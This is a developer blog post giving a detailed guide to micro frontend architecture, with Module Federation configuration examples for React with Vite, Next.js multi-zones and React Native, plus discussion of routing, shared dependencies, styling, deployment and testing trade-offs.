DEV Community: Ishaan Pandey

Micro Frontends: The Ultimate Guide — React, Vite, Next.js, React Native & Module Federation

Ishaan Pandey — Thu, 09 Apr 2026 18:00:00 +0000

Micro Frontends: The Ultimate Guide — React, Vite, Next.js, React Native & Module Federation

"Microservices for the frontend." — said by someone who had not yet tried to share authentication state across three teams' apps in production.

Micro frontends are one of the most hyped, most misunderstood, and most misused architectures in modern frontend development. They're also genuinely the right answer for some teams — and the entirely wrong answer for most others.

This guide is the one I wish I had when I first hit the wall on a 200-person frontend monorepo. We'll go from "what is this even" to building real micro frontends in React + Vite, Next.js, and React Native — with Module Federation, multi-zones, super apps, and every trade-off explained honestly.

No hype, no bias. Just the architecture, the code, and the scars.

What Are Micro Frontends?
Why Micro Frontends Exist — The Real Problem They Solve
The Five Core Principles
When You Should (and Shouldn't) Use Them
The Composition Strategies
Module Federation — Deep Dive
React + Vite + Module Federation — Full Example
Next.js Micro Frontends — Multi-Zones & Federation
Mobile Micro Frontends — React Native, Expo & Super Apps
Routing Across Micro Frontends
Shared State & Communication
Shared Dependencies — The #1 Pain Point
Styling Isolation
Deployment Strategies
Testing Micro Frontends
Real-World Architectures
The Honest Pitfalls List
The Tools Landscape
Decision Framework
The Future of Micro Frontends

What Are Micro Frontends?

Micro frontends are an architectural style where a frontend application is decomposed into independently buildable, deployable, and ownable pieces — each typically owned by a different team — that are composed together at build time, server side, or run time into a single user-facing experience.

If that sounds like microservices, you're not wrong. The pattern is the spiritual heir to the same idea: take one giant codebase, split it along team lines, and let each team ship on their own schedule.

+---------------------------------------------------------------+
|                       MONOLITH FRONTEND                        |
|  +---------+  +---------+  +---------+  +---------+           |
|  | Header  |  | Search  |  | Product |  | Checkout|           |
|  +---------+  +---------+  +---------+  +---------+           |
|        ALL OWNED BY ONE TEAM, ONE REPO, ONE DEPLOY            |
+---------------------------------------------------------------+

                              vs

+---------------------------------------------------------------+
|                      MICRO FRONTEND SHELL                     |
|  +-----------+  +-----------+  +-----------+  +-----------+   |
|  |  Header   |  |  Search   |  |  Product  |  |  Checkout |   |
|  | (Team A)  |  | (Team B)  |  | (Team C)  |  | (Team D)  |   |
|  | repo A    |  | repo B    |  | repo C    |  | repo D    |   |
|  | deploy A  |  | deploy B  |  | deploy C  |  | deploy D  |   |
|  +-----------+  +-----------+  +-----------+  +-----------+   |
|         ASSEMBLED AT BUILD/SERVER/RUN TIME INTO ONE UI         |
+---------------------------------------------------------------+

The key word in that definition is independently. If "team A has to coordinate a release with team B", you don't have micro frontends — you have a distributed monolith with extra steps.

Why Micro Frontends Exist — The Real Problem They Solve

Let's be brutally honest. Micro frontends do not exist because of a technical problem. They exist because of an organizational one.

The Symptom

You have a frontend codebase. It started small. Now there are 60 engineers committing to it. Pull requests sit in review for 3 days. CI takes 45 minutes. The release train runs once a week and a single broken test blocks 14 features. Everyone is afraid to refactor anything. Standups are 80% coordination overhead.

Sound familiar? That's the moment people start Googling "micro frontends".

The Real Cause

Conway's Law: "Any organization that designs a system will produce a design whose structure is a copy of the organization's communication structure."

If your org chart has 8 product squads but your codebase has 1 frontend app, those 8 squads are going to step on each other forever. The build is shared. The deploy is shared. The runtime is shared. There's no isolation, so there's no autonomy.

Micro frontends are an attempt to make the architecture match the org chart — to give each squad its own frontend the way they already have their own backend service.

What MFE Actually Buys You

Independent deploys — Team A ships at 2pm, Team B ships at 2:01pm, neither blocks the other.
Independent tech choices — Team A can be on React 19, Team B can still be on React 17 during a migration. (This is also a curse, see later.)
Independent CI/CD — No more 45-minute monorepo builds.
Smaller blast radius — A bug in Team C's checkout doesn't crash Team A's homepage.
Easier onboarding — New hires only need to learn one squad's slice.

What MFE Does Not Buy You

It does not make your app faster. (Usually the opposite.)
It does not make your code cleaner. (Usually the opposite, at first.)
It does not solve bad organizational communication. (It exposes it.)
It is not free. The complexity tax is real and permanent.

The Five Core Principles

Cam Jackson's martinfowler.com article laid out what most people now consider the canonical principles. Here they are, with the things people miss:

1. Be Technology Agnostic

Each team should be able to choose its own stack. In practice, don't. Pick one framework as the default and only deviate when there's a compelling reason. Mixing React, Vue, and Svelte in one app is a recipe for a 5MB shared bundle and a debugging nightmare.

2. Isolate Team Code

No shared runtime state by default. No global CSS leaking between teams. Build for the assumption that other teams' code is a black box.

3. Establish Team Prefixes

Use naming conventions for CSS, events, local storage, cookies, etc. — team-checkout-cart-open, team-search-results — so collisions are impossible.

4. Favor Native Browser Features

Custom events, the URL, postMessage, broadcast channels — these all exist for a reason and they cost zero coordination overhead. Reach for these before a custom pub/sub bus.

5. Build a Resilient Site

A single broken micro frontend should never take down the whole page. Use error boundaries. Use timeouts. Use fallbacks. Treat every remote like an unreliable network call, because that's exactly what it is.

When You Should (and Shouldn't) Use Them

This is the section nobody writes honestly. Here's the honest version.

You Probably Should NOT Use Micro Frontends If…

You have fewer than 3 product teams sharing the frontend. You'll spend more on architecture than you save in autonomy.
Your app is performance-critical for first-load (landing pages, marketing sites, e-commerce funnels). The extra HTTP requests and larger combined bundles will hurt your Core Web Vitals.
You have heavy cross-team UX flows — checkout flows, wizards, dashboards where every section talks to every other section. Forcing these across MFE boundaries is masochism.
You're building a mobile-first product. Mobile MFE is real but it's hard mode (more on that later).
You think MFE will fix bad code. It will not. It will give bad code more places to hide.

You Probably SHOULD Use Micro Frontends If…

You have 5+ product teams all blocked on a shared frontend.
Your product is naturally page- or section-based with weak coupling between sections (think: an enterprise dashboard with 12 mostly independent modules, or a marketplace with seller tools, buyer tools, admin tools).
You're doing a legacy migration — you can use MFE to incrementally replace pieces of an old app without a big-bang rewrite. This is genuinely the killer use case.
You're building a platform / super app where third parties (or other internal teams) ship modules into your shell.

The Honest Heuristic

If you're asking "should we do micro frontends?", the answer is almost always no.

The teams that should do them are the teams whose pain has already gotten so bad that they didn't have to ask.

The Composition Strategies

Once you've decided to do MFE, the next question is: how do the pieces actually get glued together? There are five real strategies. Each one trades off something different.

+---------------------------------------------------------------+
|              MICRO FRONTEND COMPOSITION STRATEGIES             |
+---------------------------------------------------------------+
|                                                                |
|   1. BUILD-TIME (npm packages)                                 |
|      Each team publishes a package, host installs them.       |
|      [+] Simple, type-safe                                    |
|      [-] Requires host redeploy on every change. NOT REAL MFE.|
|                                                                |
|   2. SERVER-SIDE COMPOSITION (SSI / ESI / Tailor / Podium)    |
|      A server stitches HTML fragments from multiple services. |
|      [+] Great for SEO, fast first paint                      |
|      [-] Server complexity, harder client-side interactivity  |
|                                                                |
|   3. IFRAMES                                                  |
|      The OG. Each MFE in its own iframe.                      |
|      [+] Bulletproof isolation                                |
|      [-] Routing, sizing, deep linking, SSO are all painful   |
|                                                                |
|   4. WEB COMPONENTS                                           |
|      Each MFE ships as a custom element. The shell uses tags. |
|      [+] Standards-based, framework-agnostic                  |
|      [-] Shadow DOM friction with React, styling pain         |
|                                                                |
|   5. RUNTIME JS (Module Federation / single-spa / SystemJS)   |
|      The shell loads remote JS bundles at runtime.            |
|      [+] True independence + shared dependencies              |
|      [-] Most complex, biggest perf footgun                   |
|                                                                |
+---------------------------------------------------------------+

Let's go quickly through each, then go deep on the one you'll actually use: Module Federation.

1. Build-Time Integration (NPM Packages)

Each team publishes their feature as an npm package. The host app npm installs them and ships them as part of its bundle.

// host package.json
{
  "dependencies": {
    "@acme/header": "^1.2.0",
    "@acme/checkout": "^3.4.0",
    "@acme/product": "^2.1.0"
  }
}

The catch: to ship a checkout fix, the checkout team has to publish a new version, the host team has to bump it, and the host has to redeploy. That's not independent — that's a coordinated release with extra steps. This is not real micro frontends, but it can be a fine starting point.

2. Server-Side Composition

A server fetches HTML fragments from multiple backend services and stitches them together before sending the response to the browser. Tools like Tailor (Zalando), Podium (Finn.no), Edge Side Includes (Akamai/Varnish), and Next.js's own streaming SSR all live in this family.

<!-- The composed page -->
<html>
  <body>
    <!--# include virtual="/header" -->
    <!--# include virtual="/product" -->
    <!--# include virtual="/footer" -->
  </body>
</html>

Strengths: great SEO, fast first paint, works with any backend stack.
Weaknesses: complex infra, client-side interactivity has to be re-hydrated per fragment, debugging is harder.

3. Iframes

Yes, iframes. Don't laugh — iframes are the only composition strategy with truly bulletproof isolation. No CSS leaking, no JS conflicts, no shared globals. Spotify's desktop app famously used iframes for years.

The pain is everything around the iframe: routing, deep links, sizing, scroll restoration, single sign-on, sharing user state, focus management, accessibility. You can solve every one of these but each one costs you a week.

Use iframes when isolation is non-negotiable — for example, when you're embedding third-party modules you don't trust.

4. Web Components

Each MFE compiles to a custom element. The shell uses it like any other HTML tag.

<header-mfe></header-mfe>
<product-mfe sku="xyz"></product-mfe>
<checkout-mfe></checkout-mfe>

This is the most "framework agnostic" approach. It works. It's standards-based. But shadow DOM has friction with most frameworks (especially anything that wants to portal modals), styling becomes a saga, and you give up the ergonomics of your favorite framework's component model at the boundary.

5. Runtime JS Composition (The One You'll Probably Use)

The shell loads remote JavaScript bundles at run time. The two big approaches are:

single-spa — an opinionated framework for orchestrating multiple SPAs in one shell.
Webpack Module Federation (and its successors in Vite, Rspack, Next.js, Re.Pack) — a more granular approach where you can share individual modules, not just whole apps.

Module Federation has eaten the world. Let's go deep.

Module Federation — Deep Dive

Module Federation was introduced in Webpack 5 by Zack Jackson in 2020. The core idea is dead simple but the implications are huge:

Any build can dynamically load code from any other build at run time, with shared dependencies properly deduplicated.

The Concepts

+-----------------+        +-----------------+
|     HOST        |        |     REMOTE      |
|  (the shell)    |<-------|  (a feature)    |
|                 |        |                 |
| Loads remotes   |        | Exposes modules |
| Defines shared  |        | Declares shared |
+-----------------+        +-----------------+
        ^                          ^
        |                          |
        +-----------+   +----------+
                    |   |
                    v   v
            +---------------------+
            |      SHARED         |
            |  (react, react-dom, |
            |   react-router...)  |
            +---------------------+
            Loaded once, used by both

There are three pieces of vocabulary you need:

Host: an app that consumes modules from other apps.
Remote: an app that exposes modules for other apps to consume.
Shared: dependencies (like React) that should be loaded once and shared across host and remotes — not bundled twice.

A single app can be both a host and a remote at the same time. That's where the power comes from — it's a peer-to-peer network of bundles, not a strict hub-and-spoke.

What Gets Generated

When you build a remote, Module Federation produces a remoteEntry.js file. That file is the manifest of what the remote exposes — it's tiny, and the actual code chunks are loaded lazily on demand.

remote-app/dist/
├── remoteEntry.js          <- The manifest. Loaded by the host first.
├── src_Button_tsx.js       <- The actual exposed module.
├── src_Header_tsx.js
└── vendor.js

The host points at https://remote.example.com/remoteEntry.js, fetches the manifest, then asks for individual exposed modules as the user navigates.

The Critical Concept: `shared`

This is where 90% of all Module Federation bugs live.

When you mark react as shared, Module Federation runs a tiny negotiation at run time:

Host has react@18.2.0.
Remote also has react@18.2.0.
Both agree to use the host's copy. One React, problem solved.

But:

Host has react@18.2.0.
Remote has react@17.0.2.
Without a constraint, you now have two Reacts on the same page, which means hooks break, contexts don't cross boundaries, and your dev tools lie to you.

The fix is singleton: true and requiredVersion:

shared: {
  react: {
    singleton: true,        // There can be only one
    requiredVersion: '^18.0.0',
    strictVersion: true,    // Throw, don't silently dual-load
  },
  'react-dom': { singleton: true, requiredVersion: '^18.0.0', strictVersion: true },
}

Memorize this. Anything stateful (React, Redux, Zustand, react-router, react-query) MUST be a singleton across federated boundaries, or you will lose hours to ghost bugs.

Eager vs Lazy

By default, federated modules load lazily — that's the whole point. But the host's index.tsx runs before the federation runtime is ready, so you usually need a "bootstrap" pattern:

// index.tsx
import('./bootstrap');

// bootstrap.tsx
import React from 'react';
import { createRoot } from 'react-dom/client';
import App from './App';
createRoot(document.getElementById('root')).render(<App />);

That dynamic import() gives Module Federation a chance to initialize the shared scope before any of your code touches React. Skip this and you'll get cryptic "Shared module is not available for eager consumption" errors.

React + Vite + Module Federation — Full Example

Time for code. Let's build the smallest possible end-to-end MFE: a Vite + React shell that loads a remote Vite + React Button at run time.

We'll use @module-federation/vite (the official plugin from the Module Federation team — there's also @originjs/vite-plugin-federation which is the older community option, but the official one is now the recommended path).

Project Structure

mfe-demo/
├── shell/         (host)
│   ├── src/
│   │   ├── main.tsx
│   │   ├── bootstrap.tsx
│   │   └── App.tsx
│   ├── vite.config.ts
│   └── package.json
└── remote-button/ (remote)
    ├── src/
    │   ├── main.tsx
    │   ├── bootstrap.tsx
    │   └── Button.tsx
    ├── vite.config.ts
    └── package.json

The Remote — `remote-button/vite.config.ts`

import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
import { federation } from '@module-federation/vite';

export default defineConfig({
  plugins: [
    react(),
    federation({
      name: 'remoteButton',
      filename: 'remoteEntry.js',
      exposes: {
        './Button': './src/Button.tsx',
      },
      shared: {
        react: { singleton: true, requiredVersion: '^18.0.0' },
        'react-dom': { singleton: true, requiredVersion: '^18.0.0' },
      },
    }),
  ],
  build: {
    target: 'esnext',
    modulePreload: false,
    cssCodeSplit: false,
  },
  server: { port: 5174 },
  preview: { port: 5174 },
});

The Remote — `remote-button/src/Button.tsx`

import { useState } from 'react';

export default function Button({ label }: { label: string }) {
  const [count, setCount] = useState(0);
  return (
    <button
      onClick={() => setCount((c) => c + 1)}
      style={{
        padding: '10px 20px',
        background: '#6366f1',
        color: 'white',
        border: 'none',
        borderRadius: 8,
      }}
    >
      {label} — clicked {count} times
    </button>
  );
}

The Host — `shell/vite.config.ts`

import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
import { federation } from '@module-federation/vite';

export default defineConfig({
  plugins: [
    react(),
    federation({
      name: 'shell',
      remotes: {
        remoteButton: 'http://localhost:5174/assets/remoteEntry.js',
      },
      shared: {
        react: { singleton: true, requiredVersion: '^18.0.0' },
        'react-dom': { singleton: true, requiredVersion: '^18.0.0' },
      },
    }),
  ],
  build: { target: 'esnext' },
  server: { port: 5173 },
});

The Host — `shell/src/main.tsx`

// Bootstrap pattern — required for Module Federation
import('./bootstrap');

The Host — `shell/src/bootstrap.tsx`

import React from 'react';
import { createRoot } from 'react-dom/client';
import App from './App';
createRoot(document.getElementById('root')!).render(<App />);

The Host — `shell/src/App.tsx`

import { lazy, Suspense } from 'react';

// TypeScript needs to be told this module exists
// (we'll fix that with a .d.ts in a sec)
const RemoteButton = lazy(() => import('remoteButton/Button'));

export default function App() {
  return (
    <div style={{ padding: 40 }}>
      <h1>Shell App</h1>
      <p>The button below is loaded from a different deployment at runtime:</p>
      <Suspense fallback={<div>Loading button…</div>}>
        <RemoteButton label="Click me" />
      </Suspense>
    </div>
  );
}

TypeScript: Telling It About the Remote

Federated imports are dynamic strings — TypeScript has no idea they exist. Add a type declaration:

// shell/src/types/remotes.d.ts
declare module 'remoteButton/Button' {
  const Button: React.ComponentType<{ label: string }>;
  export default Button;
}

Running It

# Terminal 1
cd remote-button && npm run build && npm run preview

# Terminal 2
cd shell && npm run dev

Open http://localhost:5173 and you'll see the shell app with the button rendered from a completely separate build on :5174. Update the button's code, rebuild only the remote, refresh the shell — and the new button is live without rebuilding the host.

That's the magic moment. Independent deploys, true and live.

Common Vite + MF Gotchas

Dev mode: Module Federation in Vite works best when remotes are built and previewed (vite build && vite preview), not just run via vite dev. Dev-mode HMR for remotes is improving but still flaky.
CORS: the host has to be able to fetch remoteEntry.js. Remotes need permissive CORS in production.
Asset paths: make sure the remote's base is set correctly when deployed to a subpath/CDN, otherwise its lazy chunks 404.
CSS: federated CSS is the wild west. The safest path is to scope all styles via CSS Modules or styled-components and let each remote ship its own.

Next.js Micro Frontends — Multi-Zones & Federation

Next.js MFE is a different beast because Next isn't just a bundler — it's a full SSR framework with its own router, its own data fetching, and (in App Router) its own server component model. There are two real approaches.

Approach 1: Multi-Zones (the simple way)

Multi-zones is built into Next.js itself. The idea: you run multiple separate Next.js apps, each handling a different URL prefix, and a top-level reverse proxy (or rewrites config) stitches them together so the user sees one domain.

// next.config.js (the "main" zone)
module.exports = {
  async rewrites() {
    return [
      { source: '/blog', destination: 'https://blog-zone.vercel.app/blog' },
      { source: '/blog/:path*', destination: 'https://blog-zone.vercel.app/blog/:path*' },
      { source: '/store', destination: 'https://store-zone.vercel.app/store' },
      { source: '/store/:path*', destination: 'https://store-zone.vercel.app/store/:path*' },
    ];
  },
};

Each zone is a normal Next.js app — its own repo, its own deploy, its own data layer. The user's browser hits example.com/blog and the main zone's edge transparently proxies to the blog zone.

When this is enough:

Your app is naturally split by URL section.
You don't need to share runtime React state between zones.
You're okay with a full page navigation when crossing zones (Next 13+ does soft-nav within a zone, hard-nav across zones).

For 80% of teams asking about Next.js MFE, this is what they actually want. Multi-zones is the boring, working answer. Use it first.

Approach 2: Module Federation in Next.js

When multi-zones isn't enough — you need to share components across teams, not just whole pages — you reach for @module-federation/nextjs-mf (Zack Jackson's plugin).

// next.config.js (host)
const NextFederationPlugin = require('@module-federation/nextjs-mf');

module.exports = {
  webpack(config, options) {
    config.plugins.push(
      new NextFederationPlugin({
        name: 'shell',
        remotes: {
          checkout: `checkout@${process.env.CHECKOUT_URL}/_next/static/${
            options.isServer ? 'ssr' : 'chunks'
          }/remoteEntry.js`,
        },
        shared: {
          react: { singleton: true, requiredVersion: false },
        },
        extraOptions: {
          exposePages: false,
          enableImageLoaderFix: true,
          enableUrlLoaderFix: true,
        },
      })
    );
    return config;
  },
};

// next.config.js (remote)
const NextFederationPlugin = require('@module-federation/nextjs-mf');

module.exports = {
  webpack(config, options) {
    config.plugins.push(
      new NextFederationPlugin({
        name: 'checkout',
        filename: 'static/chunks/remoteEntry.js',
        exposes: {
          './CartWidget': './components/CartWidget.tsx',
          './CheckoutForm': './components/CheckoutForm.tsx',
        },
        shared: {},
      })
    );
    return config;
  },
};

The Catch with Next.js + MF

Next.js does SSR, which means federated components have to be loadable on the server and the client, with the same code path producing the same HTML on both. That's significantly harder than browser-only MFE because:

The server has no window, so the remote's remoteEntry.js has to be loaded via Node-side fetch.
Hydration mismatches across federated boundaries are the most painful debugging experience in web dev.
Streaming SSR + federated components is still rough.
App Router (Next 13+) has limited federation support today. As of writing, @module-federation/nextjs-mf has the most reliable support in the Pages Router. App Router support is shipping but more fragile — check the docs before you bet on it.

Pragmatic recommendation for 2026: if you need MFE in Next.js, default to multi-zones. If you absolutely need federated components, run them as client components only ('use client' at the boundary), and accept that you're trading some SSR benefits for the federation.

Mobile Micro Frontends — React Native, Expo & Super Apps

Mobile MFE is a different planet. On the web, you can fetch a JS bundle from a CDN at run time and execute it. On mobile, the OS would very much prefer you not do that — Apple's App Store rules around dynamic code loading are particularly strict.

But it can be done, and there are real reasons to do it: super apps. WeChat, Gojek, Careem, Grab, Alipay, and Rappi all run dozens of independent feature teams shipping into one shell app. Each team has its own release cycle, its own QA, its own analytics — but it all looks like one app to the user.

React Native + Re.Pack + Module Federation

The current best-in-class approach is Re.Pack by Callstack — a Webpack-based bundler for React Native (an alternative to Metro) that supports Module Federation natively.

// rspack.config.mjs (host)
import { ModuleFederationPluginV2 } from '@module-federation/enhanced/rspack';

export default {
  plugins: [
    new ModuleFederationPluginV2({
      name: 'host',
      remotes: {
        miniApp: 'miniApp@http://localhost:9000/miniApp.container.bundle',
      },
      shared: {
        react: { singleton: true, eager: true },
        'react-native': { singleton: true, eager: true },
      },
    }),
  ],
};

// MiniApp.js (remote)
import { Text, View } from 'react-native';
export default function MiniApp() {
  return (
    <View>
      <Text>I'm shipped independently from the host</Text>
    </View>
  );
}

The host fetches the remote bundle at run time, evaluates it inside the JS engine (Hermes/JSC), and renders it. From the user's perspective, it's one app. From the team's perspective, the mini app team can ship updates without going through the App Store review for the shell — only the shell update needs review, not the mini app update.

Expo and OTA Updates

Expo doesn't natively do Module Federation, but it provides something adjacent: EAS Update, an OTA update channel. You can ship JS-only updates over the air after App Store review, which gives you a coarse form of independent deployment.

eas update --branch production --message "Fix checkout bug"

This is not micro frontends — it's a single-team OTA channel. But for many "we just need faster ship cycles" cases, it's the right answer instead of true MFE on mobile.

Why Mobile MFE Is Hard Mode

Apple's rules. App Store guideline 3.3.2 historically forbade executing remotely-downloaded code that "changes features or functionality". The interpretation has loosened (React Native and CodePush have been allowed for years), but you're still walking a line. Read the latest guidelines and don't ship something that looks like an app store of its own.
No CDN-fast loads. Mobile networks are unreliable. You have to cache aggressively, support offline, and fall back gracefully.
Native modules. If two mini apps need different versions of a native module, you're toast. Native dependencies have to be unified at the host level.
Bundle size. Every shared dependency duplication is a megabyte of extra app size.
Debugging. You have not lived until you've debugged a federated React Native app on a low-end Android device with no source maps.

When Mobile MFE Is Worth It

You are building a super app with 5+ independent product teams shipping into one binary, you have the engineering org to support a custom mobile build infra, and your business model genuinely depends on the modularity. Otherwise, just use Expo + EAS Update and call it a day.

Routing Across Micro Frontends

Routing is the area where MFE gets interesting fast. Three patterns dominate.

1. Single Shell Router

The shell owns the router. Each MFE is a leaf component the shell mounts at a route.

// shell
<Router>
  <Route path="/products/*" element={<ProductMFE />} />
  <Route path="/checkout/*" element={<CheckoutMFE />} />
  <Route path="/account/*" element={<AccountMFE />} />
</Router>

Pros: simple, predictable, the URL is the source of truth.
Cons: the shell has to know about every MFE's top-level routes. Adding a new MFE requires a shell change.

2. Distributed Routing

Each MFE has its own router. The shell delegates to whichever MFE matches the prefix.

// shell — delegates anything under /checkout/* to the checkout MFE
<Route path="/checkout/*" element={<CheckoutMFE />} />

// inside CheckoutMFE
<Routes>
  <Route path="/" element={<Cart />} />
  <Route path="/payment" element={<Payment />} />
  <Route path="/confirm" element={<Confirm />} />
</Routes>

Pros: new sub-routes don't require a shell change.
Cons: each router has to be configured to use the same router type and base path; deep linking and 404s get tricky.

3. single-spa Style "Activity Functions"

single-spa registers each app with an activity function — a predicate that says "this app should be active when…".

registerApplication({
  name: '@team/checkout',
  app: () => import('@team/checkout'),
  activeWhen: (location) => location.pathname.startsWith('/checkout'),
});

The shell never knows about routes per se — it just runs whichever apps match the current location. This is the most decoupled approach but it has the steepest learning curve.

The Underrated Answer: Use the URL as the Integration Layer

Instead of trying to share router state across MFEs, push everything into the URL. Filters, modals, selected items — all in query params. Now any MFE can read its state from the URL without needing a shared store, and deep linking just works.

This single principle eliminates 60% of the "shared state" problems people have with MFE.

Shared State & Communication

The single most painful question in MFE: how do micro frontends talk to each other?

The wrong answer is "a shared Redux store". You just turned your MFEs into a distributed monolith again — every team needs to know the shape of the store, every state change risks breaking everyone, and you've coupled the deploys together.

The right answer is the loosest possible coupling that solves your actual problem. In order from best to worst:

1. The URL (best)

If the state can live in the URL, put it in the URL. Every MFE can read it independently with useSearchParams.

2. Custom Events

Native browser events. Zero dependencies. Loosely coupled.

// Cart MFE publishes:
window.dispatchEvent(new CustomEvent('cart:item-added', { detail: { sku } }));

// Header MFE listens:
useEffect(() => {
  const handler = (e) => updateBadge(e.detail);
  window.addEventListener('cart:item-added', handler);
  return () => window.removeEventListener('cart:item-added', handler);
}, []);

Use a team prefix (cart:, auth:) to avoid collisions.

3. BroadcastChannel

Like custom events, but works across tabs too. Great for "logout in one tab logs out everywhere" patterns.

const channel = new BroadcastChannel('auth');
channel.postMessage({ type: 'logout' });

4. A Tiny Pub/Sub Bus

If custom events feel too anonymous, ship a tiny shared event bus as a federated module. Keep its API frozen — it's a contract.

5. Shared Store (last resort)

If you absolutely need a shared reactive store (Zustand, Redux), expose it as a singleton from the shell. Lock down its public API like you would a public REST API. Treat schema changes like breaking API changes.

The Anti-Pattern: Direct Imports From Other MFEs

The moment one MFE imports a file from another MFE's source, you've recoupled the deploys. Don't do it. Communicate via the boundary.

Shared Dependencies — The #1 Pain Point

I'm going to say this loudly because it's the #1 thing that breaks MFE projects:

Two copies of React on the same page will silently destroy your application.

Hooks throw "invalid hook call". Contexts don't propagate across the boundary. Portals end up in the wrong tree. The dev tools lie about which fiber is which. You will lose days.

The Rules

Anything stateful must be a singleton. React, react-dom, react-router, react-query, redux, zustand, jotai, recoil, styled-components, emotion, framer-motion, react-i18next — all of these break if there are two copies.
Use singleton: true and strictVersion: true on every singleton in your federation config. Yes, that means cross-team upgrades have to be coordinated. That's the price.
Pin the version range carefully. ^18.0.0 says "any 18.x is fine". ~18.2.0 is stricter. The tighter you are, the safer — and the more coupled your teams become. Pick where on this spectrum your org wants to live.
Audit your shared graph. Periodically run a build report to see exactly what's being shared and what isn't. Drift is silent and lethal.

The Honest Trade-off

The dirty secret: "tech agnostic" micro frontends are mostly a lie. Once you mark React as singleton, every team has to be on a compatible React version. Once you mark react-router as singleton, every team has to be on a compatible router version. The freedom to "just use whatever framework you want" evaporates the moment you need shared state.

The realistic version is: all teams agree on a small core (React, react-dom, router, maybe a state lib) and can vary independently outside that core. That's good enough, and far less painful than the dream.

Styling Isolation

CSS leakage between MFEs is the second-most-common bug class after duplicated React.

Strategies, Ranked

CSS Modules — locally scoped class names by default. Boring, works, recommended.
CSS-in-JS with scoped class generation (styled-components, emotion, vanilla-extract) — works, but watch for SSR + federation hydration issues.
Tailwind with team prefixes — viable, but requires every team to use the same Tailwind config or you'll have conflicting utility classes.
Shadow DOM — bulletproof isolation but breaks portals, modals, design systems, and most React libraries you care about.
Plain CSS with team-prefixed class names — works if your teams have discipline. They don't.

The Things You'll Learn the Hard Way

!important always wins, and someone will use it.
A reset stylesheet loaded twice is its own special hell.
Fonts loaded in two MFEs with slightly different weights/subsets will FOUT for both of them.
Design tokens (colors, spacing) should live in one shared source of truth, not in each MFE's CSS.

Deployment Strategies

The whole point of MFE is independent deploys. Here's how to actually do them.

Each MFE Is Its Own Deploy Unit

Its own repo (or its own folder + CI pipeline in a monorepo).
Its own build, its own CI, its own preview environments.
Its own CDN bucket / hosting.
Its own versioning.

The host doesn't redeploy when a remote ships. That's the whole game.

Versioning: Latest vs Pinned

Two philosophies:

"Latest" model: the host always points at https://remote.example.com/latest/remoteEntry.js. New remote ships, host picks it up immediately. Fast iteration, scary blast radius.
"Pinned" model: the host points at https://remote.example.com/v1.4.2/remoteEntry.js. Host has to bump the version to roll forward. Safer, slower, partially defeats the point.

The middle ground: use the latest model with a manifest service that lets you roll back instantly by flipping the "current" pointer. CloudFront, S3, or a tiny "versions API" can all serve this.

Canary Releases

Roll out a new remote to 5% of users by serving a different remoteEntry.js URL based on a feature flag or user cohort. Most CDNs and edge platforms (Cloudflare Workers, Vercel Edge Functions) make this trivial.

Cache Busting

remoteEntry.js should be served with Cache-Control: no-cache, must-revalidate. The chunks it references should be content-hashed and served with Cache-Control: public, max-age=31536000, immutable. Two simple rules; getting them wrong is what causes "the new version isn't loading" tickets.

Testing Micro Frontends

Unit Tests

Each MFE tests its own components in isolation. Same as any normal app. The federation boundary doesn't affect this layer.

Contract Tests

This is the layer that matters. You need to verify that the contract between host and remote stays stable across deploys. Two flavors:

Type contracts — generate .d.ts files for every exposed module and publish them as a package. The host imports the types and TypeScript catches breaking changes at build time.
Runtime contracts — write tests in the host that import the real remote and assert it has the expected exports and prop shapes. Run these in CI on every host and remote build.

@module-federation/dts-plugin is the current best tool for auto-generating type contracts.

Integration / E2E

Run the full composed app (shell + all remotes) in a staging environment and run Playwright/Cypress against it. This is where you catch the bugs that only happen across boundaries — hydration mismatches, shared state collisions, duplicate React.

The Rule

Anything that crosses a federation boundary must have a contract test.

Skip this and you ship breakage to other teams every Tuesday.

Real-World Architectures

Let's look at how serious teams actually ship MFE.

Spotify

Famously used iframes for years (the "Spotile" pattern) because the team-isolation guarantee was worth the pain. They've since moved much of the desktop client to a more integrated approach but the iframe-based platform proved that even hated technology can scale if it solves the right problem.

IKEA

Uses a server-side composition approach for product pages — different teams own the gallery, the description, the reviews, and the buy box, and each ships independently. The page is stitched together at the edge.

Zalando

Built and open-sourced Tailor and Mosaic9 — server-side composition tooling that lets dozens of squads ship their own templates into a unified product page. Their SaaS-scale catalog made this a hard requirement.

DAZN

Talked publicly about going from a single-team frontend to a 200+ engineer MFE setup. They use a shell + Module Federation pattern to give each squad full ownership of its slice while keeping the global navigation, auth, and player consistent.

Microsoft (Office on the Web)

Office Online is famously a federation of independently-shipped apps (Word, Excel, PowerPoint) sharing a common shell, identity layer, and design system.

The Common Thread

None of these companies started with micro frontends. They started with monoliths, hit the team-scaling wall, and then refactored to MFE because the org pain was worse than the architectural pain.

The Honest Pitfalls List

I've watched teams adopt MFE and regret it. Here are the failure modes, ranked by how often I see them.

1. Duplicated React (covered above, but it's #1 for a reason)

You will get hit by this within the first month. Read the singleton section twice.

2. The "Distributed Monolith"

Teams nominally have separate MFEs but every change requires coordinated deploys across 4 of them. You have all the complexity of MFE with none of the autonomy.

3. Bundle Size Explosion

Each MFE ships its own copy of utility libs (lodash, date-fns, axios, the design system). Total page weight doubles or triples. Lighthouse cries.

4. Performance Death by 1000 Chunks

The host loads remoteEntry.js, which loads chunks, which load more chunks, which load more chunks. By the time the page renders, you've made 30 network requests. Your TTI tanks.

5. Type Safety at the Boundary

Federated imports are dynamic strings. Without .d.ts generation and contract tests, refactors silently break consumers.

6. Debugging Across Boundaries

Source maps for federated chunks are improving but still painful. Stack traces span multiple builds with different commit hashes. Sentry can handle this; your weekend debugging session might not.

7. The "Shared Design System" Wars

Every team wants to evolve the design system at their own pace. The design system team becomes a bottleneck. You either ship multiple versions (more bundle bloat) or coordinate every change (more coupling).

8. Org Overhead

Each MFE needs CI, CD, on-call rotation, monitoring, deploy pipelines, preview environments. You just multiplied your platform team's workload by N.

9. Onboarding Confusion

"Where does this code live?" becomes a 10-minute conversation instead of a 10-second one.

10. The "Why Are We Doing This Again" Quarterly Review

You will have this meeting. Make sure the answer is still good.

The Tools Landscape

Your options as of 2026:

Tool	Best For	Notes
Webpack Module Federation	The OG. Mature, battle-tested.	The reference implementation. Everything else copies it.
Module Federation 2.0 (`@module-federation/enhanced`)	The current state of the art.	Adds runtime API, manifest, type generation. Use this on new projects.
`@module-federation/vite`	Vite-based projects.	Official Vite plugin. The recommended Vite path.
`@originjs/vite-plugin-federation`	Vite-based projects (community).	Older, still works, less actively maintained.
